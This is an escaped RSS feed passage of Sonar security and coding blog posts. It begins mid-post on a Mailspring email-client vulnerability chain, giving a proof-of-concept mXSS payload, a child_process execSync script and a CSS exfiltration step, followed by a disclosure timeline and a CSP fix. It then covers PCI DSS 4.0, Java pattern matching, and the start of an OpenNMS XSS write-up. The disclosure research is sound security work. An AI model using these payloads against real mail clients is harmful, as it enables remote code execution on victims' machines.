any JavaScript code that runs in this context can also access the internal NodeJS objects and thus execute arbitrary code on the machine. Because the payload until this point has been executed in the origin of &lt;code&gt;attacker.com&lt;/code&gt;, which blocks the attacker from accessing the main parent window due to the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;same-origin policy&lt;/a&gt;, an attacker would need to find a way to escalate the impact from XSS to RCE. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From here, we came up with two different vectors:&lt;/p&gt;&lt;h4&gt;Outdated Electron V8 Vulnerability&lt;/h4&gt;&lt;p&gt;Mailspring runs on an outdated electron, thus a chromium version that is susceptible to &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-1364&quot;&gt;CVE-2022-1364&lt;/a&gt;, and potentially other 1days (running &lt;code&gt;window.navigator.userAgent&lt;/code&gt; on the dev tools gives the following value):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Mailspring/1.10.8 Chrome/98.0.4758.141 Electron/17.4.0 Safari/537.36&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An attacker can use known exploits to gain full command execution regardless of Electron’s origin isolation.&lt;/p&gt;&lt;h4&gt;CSS Exfiltration&lt;/h4&gt;&lt;p&gt;The XSS shown above is executed from an external website origin, stopping the JavaScript from accessing the &lt;code&gt;top&lt;/code&gt; window due to the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;Same-origin-policy&lt;/a&gt;. For a window to be able to access its parent, both should be same-origin. Since Mailspring runs on the &lt;code&gt;file://&lt;/code&gt; scheme, any framed window (&lt;code&gt;object&lt;/code&gt;, &lt;code&gt;iframe&lt;/code&gt;, &lt;code&gt;embed&lt;/code&gt;, etc.) that is also from the &lt;code&gt;file://&lt;/code&gt; scheme can access the main window (and then node internals).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For that, an attacker needs to have control over a file on the machine; this can be achieved with attachment files. After sending an email with an attachment, we saw that the files are moved to a randomly &lt;a href=&quot;https://github.com/Foundry376/Mailspring/blob/3be72eee5c10a43f6fb9924ab1e9a33bb0f5216e/app/src/flux/stores/attachment-store.ts#L67&quot;&gt;generated directory&lt;/a&gt; under &lt;code&gt;…/Mailspring/files/&amp;lt;random-id&amp;gt;.substr(0, 2)/&amp;lt;random&amp;gt;.substr(2, 2)/&amp;lt;random-id&amp;gt;/attachment_file&lt;/code&gt;. This path is not reflected in the DOM and cannot be guessed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But sending an &lt;a href=&quot;https://stackoverflow.com/questions/6706891/embedding-image-in-html-email&quot;&gt;inline image&lt;/a&gt; (with CID) will cause the path to be reflected in the DOM. Using that, an attacker can use known &lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection&quot;&gt;CSS exfiltration techniques&lt;/a&gt;, given that CSS is allowed by Mailspring’s sanitizer, to extract the random path of the controlled file. Then use the same XSS as before but point the &lt;code&gt;object&lt;/code&gt;’s &lt;code&gt;data&lt;/code&gt; tag to the controlled file. Since it&amp;#x27;s the same origin as the main window, accessing &lt;code&gt;parent&lt;/code&gt; and running arbitrary node commands is possible.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f4ba163b-458d-4704-934e-2776734d74d4/image3.png&quot; /&gt;&lt;p&gt;The POC:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Attacker sets up a CSS exfiltration server.&lt;/li&gt;&lt;li&gt;Attacker sends an email with the CSS exfiltration payload and an inline “image” which is actually the following malicious HTML page: &lt;code&gt;&amp;lt;script&amp;gt;top.require(&amp;#x27;child_process&amp;#x27;).execSync(&amp;#x27;open -a Calculator&amp;#x27;)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;When the victim views the email, the payload “image” path is extracted.&lt;/li&gt;&lt;li&gt;Attacker sends a second email with the mXSS payload pointing to the extracted path: &lt;code&gt;&amp;lt;svg&amp;gt;&amp;lt;style&amp;gt;&amp;lt;a title=&amp;quot;&amp;lt;/style&amp;gt;&amp;lt;signature&amp;gt;&amp;lt;object data=&amp;#x27;**extracte_path**&amp;#x27;&amp;gt;&amp;lt;/object&amp;gt;&amp;lt;/signature&amp;gt;&amp;quot;&amp;gt;&amp;lt;/style&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;When a victim tries to reply or forward the message, a calculator will show up.&lt;/li&gt;&lt;/ol&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ab432326-a456-4886-86cb-910dc82f95d1/image6.png&quot; /&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;We tried contacting the maintainers in various ways, but due to unresponsiveness, the only implemented &lt;a href=&quot;https://github.com/Foundry376/Mailspring/commit/5126294f589d94231ea8ec31a94847ccdf6f4dcb&quot;&gt;fix&lt;/a&gt; was hardening the CSP.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;+ object-src none; media-src mailspring:; manifest-src none;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Despite the lack of proper attention and fix, there are several takeaways developers can take from these findings:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Avoid interfering with data after the sanitization (&lt;a href=&quot;https://www.sonarsource.com/blog/pitfalls-of-desanitization-leaking-customer-data-from-osticket/&quot;&gt;Desanitization&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;Follow the &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/security&quot;&gt;official Electron Security documentation&lt;/a&gt; which covers &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content&quot;&gt;node integration&lt;/a&gt;, &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/security#3-enable-context-isolation&quot;&gt;context isolation&lt;/a&gt;, &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols&quot;&gt;file protocol&lt;/a&gt;, and more.&lt;/li&gt;&lt;li&gt;Ensure your mitigation steps, such as &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;CSP&lt;/a&gt;, are configured correctly.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-04-27&lt;/td&gt;&lt;td&gt;We report all issues to the vendor, including our disclosure policy&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-11&lt;/td&gt;&lt;td&gt;We Ping the vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-05-23&lt;/td&gt;&lt;td&gt;We Ping the vendor using a personal email address&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-06-26&lt;/td&gt;&lt;td&gt;We open a discrete issue on GitHub&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-04&lt;/td&gt;&lt;td&gt;The vendor acknowledges the report&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-07-29&lt;/td&gt;&lt;td&gt;The CSP policy is hardened&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-08-09&lt;/td&gt;&lt;td&gt;We ping the vendor, offering help with the fixes&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-05&lt;/td&gt;&lt;td&gt;We ping the vendor again with no success&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2024-03-09&lt;/td&gt;&lt;td&gt;We notify the vendor about the release of this blog&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog, we covered a vulnerability chain that attackers might exploit to achieve RCE on a victim’s computer simply by manipulating them to click “reply-to” or “forward” from a malicious email. We explained the importance of avoiding the dangerous &lt;a href=&quot;https://www.sonarsource.com/blog/pitfalls-of-desanitization-leaking-customer-data-from-osticket/&quot;&gt;Desanitization&lt;/a&gt; pattern and outlined the significance of a strong CSP.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To help you implement these critical aspects in your own code, Sonar provides a vast range of security rules, such as &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S5728&quot;&gt;S5728&lt;/a&gt;, which ensures that a default-src CSP directive is set. This reduces the impact of XSS vulnerabilities and follows the Clean Code principle, which emphasizes the creation of clear and maintainable software. This not only facilitates the detection and resolution of vulnerabilities throughout the development process but also reduces the risk of introducing security weaknesses that malicious actors could exploit.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;Code Vulnerabilities Put Proton Mails at Risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/remote-code-execution-in-tutanota-desktop-due-to-code-flaw/&quot;&gt;Remote Code Execution in Tutanota Desktop due to Code Flaw&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/&quot;&gt;Code Vulnerabilities Put Skiff Emails at Risk&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Are You Ready For PCI DSS 4.0?]]></title><description><![CDATA[PCI DSS 3.2.1 is being retired on March 31, 2024. Are you ready for the new standard, PCI DSS 4.0?]]></description><link>https://www.sonarsource.com/blog/sonarqube-pci-dss-4-0</link><guid isPermaLink="false">16175216-ca66-51b0-9ecc-15644be97fa8</guid><dc:creator><![CDATA[Robert Curlee]]></dc:creator><pubDate>Mon, 11 Mar 2024 14:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is PCI DSS 4.0?&lt;/h2&gt;&lt;p&gt;PCI DSS 4.0, or the &lt;a href=&quot;https://www.pcisecuritystandards.org/&quot;&gt;Payment Card Industry&lt;/a&gt; Data Security Standard v4.0, is the latest version of the globally recognized security standard that outlines requirements for organizations that handle cardholder data. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On March 31, 2024, PCI DSS 3.2.1 will be &lt;a href=&quot;https://blog.pcisecuritystandards.org/pci-dss-v3-2-1-is-retiring-on-31-march-2024-are-you-ready&quot;&gt;retired&lt;/a&gt;, and PCI DSS 4.0 will become the &lt;a href=&quot;https://blog.pcisecuritystandards.org/pci-dss-v4-0-resource-hub&quot;&gt;new standard&lt;/a&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/79a1a001-50c3-49dd-bc63-9f9039b95589/PCI%20DSS%20Implementation%20Timeline.webp&quot; /&gt;&lt;p&gt;&lt;sup&gt;&lt;em&gt;Timeline taken from &lt;a href=&quot;https://blog.pcisecuritystandards.org/countdown-to-pci-dss-v4.0&quot;&gt;Countdown to PCI DSS v4.0&lt;/a&gt; by Lauren Holloway&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Key changes in PCI DSS 4.0&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Retains existing Defined Approach:&lt;/strong&gt; In PCI DSS 3.2.1, the only way to obtain PCI compliance was to follow the prescribed requirements and implement the testing procedures stated in the standard. The good news for companies that implemented the standard using this approach is that they can continue to be certified in this manner, including implementing compensating controls for requirements not met explicitly.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Introduces new Customized Approach: &lt;/strong&gt;A newly added approach in PCI DSS 4.0 allows organizations to implement security controls based on defined security outcomes. Companies can choose a security methodology that best suits their environment as long as they justify that their security strategies meet the desired outcomes defined by requirement. The customized approach gives risk-mature organizations more flexibility in achieving compliance if they can demonstrate effective risk management, for example, by leveraging a defense-in-depth strategy.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Adds 64 new requirements:&lt;/strong&gt; There are 64 new requirements in PCI DSS 4.0. However, companies must implement only 13 of the new requirements by April 1st. The other 51 requirements are marked as “best practices” until March 31st, 2025, when they become effective. You still have time to implement the 51 requirements marked as best practices before next year.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Stronger authentication: &lt;/strong&gt;Password requirements are more robust, such as having a longer minimum length and a stronger minimum complexity. MFA requirements are stronger, mandating successful completion of all factors for access, and the process cannot reveal which factor failed during an attempt. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Improved cloud security:&lt;/strong&gt; Cloud platforms and contactless payments have been an emerging trend, further accelerated by the COVID-19 pandemic. The changes in PCI DSS 4.0 are a direct response to this trend and the corresponding increase in cybercrime attacks in the cloud. The new standard provides more specific guidance on security controls within a cloud environment for areas like storing, processing, and transmitting cardholder data, encryption of data at rest and in transit, access control to cloud resources, logging and monitoring of cloud activity, and establishing incident response plans for handling security incidents involving cardholder data stored in the cloud.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;How can I make sure I am PCI DSS 4.0 compliant?&lt;/h2&gt;&lt;p&gt;For comprehensive PCI DSS 4.0 compliance, it&amp;#x27;s crucial to &lt;strong&gt;adopt a layered approach&lt;/strong&gt; that combines static code analysis along with other security practices, such as secure coding training, dynamic application security testing (DAST), penetration testing, and regular security reviews. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;PCI DSS contains 12 high-level principal requirements with 240 low-level requirements under the 12 principal requirement categories. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Using static code analysis, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/enterprise-edition/&quot;&gt;SonarQube Enterprise Edition&lt;/a&gt; provides coverage of PCI DSS application security vulnerabilities, detecting a wide range of PCI DSS issues in code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ea53d66a-2306-49e9-a2a8-66f2b84b4a60/defense_in_depth_diagram.webp&quot; /&gt;&lt;p&gt;&lt;sup&gt;&lt;em&gt;How SonarQube fits in a defense-in-depth security strategy&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;How SonarQube aids in meeting PCI DSS 4.0 requirements&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Identifies vulnerabilities: &lt;/strong&gt;SonarQube scans and detects coding errors, bugs, and security weaknesses. Addressing these vulnerabilities with SonarQube significantly improves your code&amp;#x27;s security posture and reduces the risk of injection attacks, attacks on data and data structures, attacks on cryptography, attacks on business logic, and attacks on access control mechanisms, as defined in requirement 6.2.4.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Automates standards enforcement: &lt;/strong&gt;SonarQube automates the enforcement of coding standards and best practices that align with secure coding principles. This helps developers write secure code “early in the development cycle when code is checked in” and confirms developers do not introduce new vulnerabilities in code as they develop.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Conducts regular code reviews:&lt;/strong&gt; SonarQube conducts extensive code reviews that align with PCI DSS 4.0 standards specified in requirements 6.2.3. With downloadable PDF reports, SonarQube helps you report your compliance through a Qualified Security Assessor (QSA) or when using the Self Assessment Questionnaire (SAQ).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Trains developers on secure coding practices:&lt;/strong&gt; With Learn as You Code, SonarQube educates developers about the issues it finds in code by teaching them why the issue exists and how to fix them, helping you comply with requirement 6.2.2.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can find a security report for PCI DSS 4.0 in the Security Reports section of your project, with a clear presentation of coverage within each of the 12 high-level requirements of the standard, including a count of issues found under each. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By clicking on the issues found in the report, SonarQube will guide you through issue resolution to quickly find and fix discovered issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/107ff2b9-7ffe-4188-8287-65ebe27beca7/Screenshot%202024-03-06%20at%2011.17.37%E2%80%AFAM.png&quot; /&gt;&lt;p&gt;&lt;sup&gt;&lt;em&gt;SonarQube security reports page showing PCI DSS 4.0 requirements&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In addition to PCI DSS 4.0 requirements, SonarQube Enterprise Edition includes coverage of other security standards, such as OWASP and CWE Top 25. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By tracking each of these through the available security reports, you can get a big-picture view of your code’s compliance with these standards. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not only does SonarQube help you comply with these security standards, but it is also an extensive code quality tool that finds issues in code, such as bugs, security vulnerabilities, hidden secrets, and code smells. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With its integrations into your Continuous Integration (CI) pipeline, it checks your code as you develop, inserts quality gates as part of your release automation control, and guides you through issue resolution, helping make sure your code is always production-ready.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Combining SonarQube with various tools and practices creates a more secure environment, protecting cardholder data while obtaining the greatest possible value from your code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/enterprise-edition/marketplace/&quot;&gt;Try SonarQube Enterprise Edition&lt;/a&gt; today and see the PCI DSS 4.0 security report in action for yourself.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Increase readability with Java's Pattern Matching]]></title><description><![CDATA[Increase readability, reduce cognitive complexity, and avoid bugs that are hard to spot with Java's Pattern Matching.]]></description><link>https://www.sonarsource.com/blog/increase-readability-with-java-s-pattern-matching</link><guid isPermaLink="false">c0fd37b2-6aef-5731-b771-f64ef68f6301</guid><dc:creator><![CDATA[Jonathan Vila]]></dc:creator><pubDate>Mon, 04 Mar 2024 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I bet you don’t like writing ugly but necessary boilerplate code or reading it. But, sometimes we need to create logic that has to deal with an object of unknown type and follow different paths depending on the type. This code is prone to be too verbose, is complex to understand, and may involve some hidden errors hard to spot due to intermediate assignments.&lt;/p&gt;&lt;p&gt;In this article, I will show different ways of checking the type of an object and keeping the code easy to understand while also reducing the chances of introducing bugs hard to spot.&lt;/p&gt;&lt;h2&gt;The usage of instanceOf&lt;/h2&gt;&lt;p&gt;In Java, we’ve been using &lt;strong&gt;&lt;em&gt;instanceOf&lt;/em&gt;&lt;/strong&gt; conditional statements, type casting, and temporary assignments for that purpose.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public String processElement(Object element) {
  String result;

  if (element instanceOf String) { 
    String elementStr = (String) element;
    result = elementStr;
  } else if (element instanceOf Person) {
    Person elementPerson = (Person) element;
    result = elementPerson.getName();
  }

  return result + &quot; value&quot;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This involves a lot of boilerplate code which is not very readable. But even more important, it allows coding errors to remain hidden. In this structure, nothing is ensuring we are assigning a value to the intermediate variable `result` and that could mean having an empty value at the end.&lt;/p&gt;&lt;p&gt;But Java has included new features since version 14 that will help us to improve in this area. Let’s discover them.&lt;/p&gt;&lt;h2&gt;Pattern Matching &lt;/h2&gt;&lt;p&gt;In Java 16 an improvement was added in order to reduce code repetition and boilerplate: &lt;a href=&quot;https://openjdk.org/projects/amber/design-notes/patterns/pattern-matching-for-java&quot;&gt;Pattern Matching&lt;/a&gt; for &lt;strong&gt;&lt;em&gt;instanceOf&lt;/em&gt;&lt;/strong&gt; cases. With this approach, the cast is included in the condition which is easier to read, reducing the boilerplate code.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public String processElement(Object element) {
  String result;

  if (element instanceOf String s) { 
   result = s;
  }

  if (element instanceOf Person elementPerson) {
    result = elementPerson.getName();
  }

  return result + &quot; value&quot;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this change, we avoid the need for an extra type-cast, that is making the code harder to read, and even can involve more errors. &lt;/p&gt;&lt;p&gt;Yes, I agree with you, this is not solving the problem entirely. We have improved but we are not there yet. Let’s see if Java provides more tricks ...&lt;/p&gt;&lt;h2&gt;Pattern matching in switch cases&lt;/h2&gt;&lt;p&gt;In order to improve the readability a bit and reduce complexity we can use a switch/case statement. With this approach, we get rid of the “else if” clauses, making it clear that cases are exclusive and have different branches. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;public String processElement(Object element) {
  String result;

  switch (element) {
   case (String s): 
     result = s;
     break;
   case (Person elementPerson):
    result = elementPerson.getName();
    break;
  }

  return result + &quot; value&quot;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But this code is still hard to read, I know. And it’s still weak in terms of errors that can happen by missing one break or by not assigning the value to the intermediate variable.&lt;/p&gt;&lt;h2&gt;Switch expressions&lt;/h2&gt;&lt;p&gt;In order to fix this situation we can use a very interesting feature included in Java 14: switch expressions. We will reduce the code even more, increase the readability and clarity, and avoid the bugs caused by missing intermediate assignments.&lt;/p&gt;&lt;p&gt;Also, we reduce the &lt;a href=&quot;https://www.baeldung.com/java-cognitive-complexity&quot;&gt;cognitive complexity&lt;/a&gt; of the resulting code by half and this positively impacts the readability and maintainability of the code. We need to keep in mind that &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-3776/&quot;&gt;too high complexity&lt;/a&gt; is one of the &lt;a href=&quot;https://www.sonarsource.com/blog/top-issues-in-java-projects&quot;&gt;most common issues detected by Sonar tools&lt;/a&gt; in all the thousands of projects analyzed.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  return switch (obj) {
    case Person person-&gt; String.format(&quot;Person %s&quot;, person.getName());
    case String s -&gt; String.format(&quot;Str %s&quot;, s);
    default -&gt; obj.toString();
  } + &quot; value&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this approach, we have a very clear idea of what the code is doing and also reduce the risk of errors.&lt;/p&gt;&lt;p&gt;If you want to calculate the cognitive complexity of your code, you can use the &lt;a href=&quot;https://plugins.jetbrains.com/plugin/21667-code-complexity&quot;&gt;&amp;quot;Code complexity&amp;quot; plugin&lt;/a&gt; (in IntelliJ) that will give you a hint of your method’s complexity.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private void getStringsUsingInstanceOfIfs(Object user) { @ simple(25%)
    ...
}

private void getStringsUsingSwitchExpressionPattern(Object user) { @ simple(0%)
    ...
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Sonar Java analyzer will warn you if your code has too &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-3776&quot;&gt;high complexity&lt;/a&gt;, and also will suggest using the &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-6201/&quot;&gt;switch pattern matching approach&lt;/a&gt; and the &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-5194&quot;&gt;switch expression&lt;/a&gt; in order to improve readability.&lt;/p&gt;&lt;h2&gt;Conclusions&lt;/h2&gt;&lt;p&gt;We &lt;a href=&quot;https://bayrhammer-klaus.medium.com/you-spend-much-more-time-reading-code-than-writing-code-bc953376fe19&quot;&gt;spend way more time reading code than writing it&lt;/a&gt;, so it’s super important to make our code conventional and intentional in order to help us understand its purpose.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Java language adds new features in every release to help you write &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/&quot;&gt;consistent, simple, and robust code&lt;/a&gt; providing standardized ways of solving common issues and reducing the time to understand the purpose of the code and the probability of errors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember that &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; with their Java analyzer will help you deliver clean code with a long &lt;a href=&quot;https://rules.sonarsource.com/java&quot;&gt;list&lt;/a&gt; of rules to consider when you code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[OpenNMS Vulnerabilities: Securing Code against Attackers’ Unexpected Ways]]></title><description><![CDATA[Learn which unexpected ways attackers may take to exploit code vulnerabilities and how to secure against them.]]></description><link>https://www.sonarsource.com/blog/opennms-vulnerabilities-securing-code-against-attackers-unexpected-ways</link><guid isPermaLink="false">e129d23a-63d4-5ff9-845e-255fb0cb124f</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Thu, 29 Feb 2024 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Can you spot a vulnerability in the following JSP snippet?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;th class=&quot;col-2&quot;&gt;Reduction&amp;nbsp;Key&lt;/th&gt;
&lt;td class=&quot;col-10&quot; colspan=&quot;3&quot;&gt;
  &lt;% if (alarm.getReductionKey() != null) {%&gt;
  &lt;%=alarm.getReductionKey()%&gt;
  &lt;% } else {%&gt;
  &amp;nbsp;
  &lt;% }%&gt;
&lt;/td&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Found it? If not, it’s easier than you may have expected. The snippet contains part of an HTML table, which outputs the value returned by &lt;code&gt;alarm.getReductionKey()&lt;/code&gt; in a cell. Since the value is not sanitized, this leads to an XSS vulnerability. More complicated is the question of how an attacker can control this value. Answering this will lead us down a rabbit hole to the basics of the User Datagram Protocol (UDP).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But before we dive in: Where is this vulnerable code snippet from? It is taken from &lt;a href=&quot;https://www.opennms.com/&quot;&gt;OpenNMS&lt;/a&gt;, a popular enterprise-grade monitoring solution. The impact of this vulnerability tracked as &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-0846&quot;&gt;CVE-2023-0846&lt;/a&gt; is vast. An &lt;strong&gt;unauthenticated attacker&lt;/strong&gt; can leverage it to inject a JavaScript payload in the admin dashboard, which exploits another vulnerability in the application to &lt;strong&gt;execute arbitrary code&lt;/strong&gt; on the OpenNMS server once an admin views the dashboard:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/mjsD4dEYePI&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The vulnerabilities were &lt;strong&gt;fixed&lt;/strong&gt; in &lt;strong&gt;OpenNMS 31.0.4&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But how could this even happen? Were the maintainers just not aware of straightforward XSS vulnerabilities like this?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There is even a specific function called &lt;code&gt;WebSecurityUtils.sanitizeString&lt;/code&gt;, which is used to sanitize reflected values. This function is applied to all other values like &lt;code&gt;alarm.getDescription()&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;div class=&quot;card-header&quot;&gt;
  &lt;span&gt;Description&lt;/span&gt;
&lt;/div&gt;
&lt;div class=&quot;card-body&quot;&gt;
  &lt;%=WebSecurityUtils.sanitizeString(alarm.getDescription(), true)%&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, obviously, the maintainers are very well aware of the dangers of XSS. But did &lt;code&gt;alarm.getReductionKey()&lt;/code&gt; just slip through and was simply forgotten to be sanitized? Probably not. Instead, the value returned by this method was not assumed to be attacker-controllable. It seems pretty unnecessary to sanitize a value, which is safe anyway, doesn’t it?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post illustrates why an assumption like this can be very dangerous. We will deep-dive into the technical details and explain how attackers can spoof SNMP traps originating from localhost by leveraging IPv4-mapped IPv6 addresses in order to control values, which are considered to be uncontrollable. Furthermore, we provide valuable insights from this case study, independent of whether you want to prevent or discover issues like this.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We presented the findings described in this blog post as part of our talk &lt;a href=&quot;https://www.youtube.com/watch?v=hGne0DbR6bY&quot;&gt;Monitoring Solutions: Attacking IT 